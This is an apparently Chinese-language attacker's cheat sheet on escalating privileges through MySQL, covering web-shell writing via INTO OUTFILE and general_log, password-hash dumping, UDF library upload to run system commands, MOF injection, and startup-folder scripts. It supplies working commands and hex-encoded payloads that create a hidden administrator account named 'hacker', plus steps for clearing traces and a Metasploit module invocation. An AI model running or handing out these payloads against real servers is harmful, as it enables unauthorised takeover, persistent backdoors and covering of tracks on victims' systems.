MySQL提权方式总结
os-shell / into outfile
- 知道网站物理路径
- 高权限数据库用户
- load_file() 开启 即 secure_file_priv 无限制
- 网站路径有写入权限
1 | mysql> show global variables like '%secure_file_priv%'; |
日志文件写shell
- Web 文件夹宽松权限可以写入
- 高权限运行 MySQL 或者 Apache
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell
1 | mysql> SHOW VARIABLES LIKE 'general%'; |
general_log
默认关闭,
开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。
可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:
1 | # 更改日志文件位置 |
Hash 获取与解密
假设存在 SQL 注入 DBA 权限,如果目标 3306 端口也是可以访问通的话,可以尝试读取 MySQL 的 Hash 来解密:
1 | mysql> select host, user, password from mysql.user; |
或者 存在网页后台 , 找一下 后台的账号密码
UDF提权
sqlmap和 msf 均自带 udf提权插件 (sqlmap 的需要解码)
寻找插件目录
1 | mysql> show variables like '%plugin%'; |
写入动态链接库
写入动态链接库可以分为下面几种情形:
SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击
1 | sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so" |
如果没有注入的话,我们可以操作原生 SQL 语句,
这种情况下当 secure_file_priv 无限制的时候,我们也是可以手工写文件到 plugin 目录下的:
1 | # 直接 SELECT 查询十六进制写入 |
这里的十六进制怎么获取呢?可以利用 MySQL 自带的 hex 函数来编码:
1 | # 直接传入路径编码 |
创建自定义函数并调用命令
1 | mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; |
导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:
1 | mysql> select * from mysql.func; |
这里的 sys_eval 支持自定义,接着就可以通过创建的这个函数来执行系统命令了:
1 | mysql > select sys_eval('whoami'); |
如果在 Windows 系统下的话应该就是最高权限了,执行一些 net user 增加用户的命令应该都是可以成功的
删除自定义函数
1 | mysql > drop function sys_eval; |
UDFshell
不出网的话, 无法直连MySQL
UDF.PHP
t00ls UDF.PHP 简单方便,一键 DUMP UDF 和函数,操作门槛降低了很多:
或者 使用 Navicat 自带的 tunnel 隧道脚本 , 类似于 reGeorg
MOF提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
mof 脚本的内容如下:
1 | #pragma namespace("\\\\.\\root\\subscription") |
核心 payload 为:
1 | var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\") |
MySQL 写文件的特性将这个 MOF 文件导入到 C:/Windows/system32/wbem/mof/ 目录下,依然采用上述编码的方式:
1 | mysql > select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof"; |
执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 否则出现在 c:/windows/system32/wbem/bad 目录下:
痕迹清理
因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果:
1 | # 停止 winmgmt 服务 |
MSF MOF 提权
MSF 里面也自带了 MOF 提权模块,使用起来也比较方便而且也做到了自动清理痕迹的效果,实际操作起来效率也还不错:
1 | msf6 > use exploit/windows/mysql/mysql_mof |
启动项提权
这种提权也常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
启动项路径
Windows Server 2003 的启动项路径:
1 | # 中文系统 |
Windows Server 2008 的启动项路径:
1 | C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup |
既然知道路径的话就往启动项路径里面写入脚本吧,脚本支持 vbs 和 exe 类型,可以利用 vbs 执行一些 CMD 命令,也可以使用 exe 上线 MSF 或者 CS 这方面还是比较灵活的。下面是一个执行基础命令的 VB 脚本:
1 | Set WshShell=WScript.CreateObject("WScript.Shell") |
MySQL 写入启动项
将上述 vbs 或者 CS 的马转十六进制直接写如到系统启动项中:
1 | mysql > select 0x536574205773685368656C6C3D575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs"; |
写入成功的时候就等待系统用户重新登录,登录成功的话,我们的自定义脚本也就会被执行。
参考链接
MySQL 漏洞利用与提权 | 国光
https://www.sqlsec.com/2020/11/mysql.html